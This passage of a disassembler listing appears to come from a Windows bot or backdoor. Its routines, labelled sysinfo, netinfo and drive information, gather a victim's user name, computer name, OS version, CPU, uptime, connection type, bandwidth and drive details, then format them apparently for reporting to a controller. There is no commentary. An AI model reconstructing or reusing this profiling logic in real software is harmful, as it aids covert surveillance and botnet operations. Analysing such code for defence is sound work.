		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DE30
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DE30
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DE30
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset loc_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset loc_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41EF48
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DE8C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DE7C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DE7C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DE30
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DE30
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DE30
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
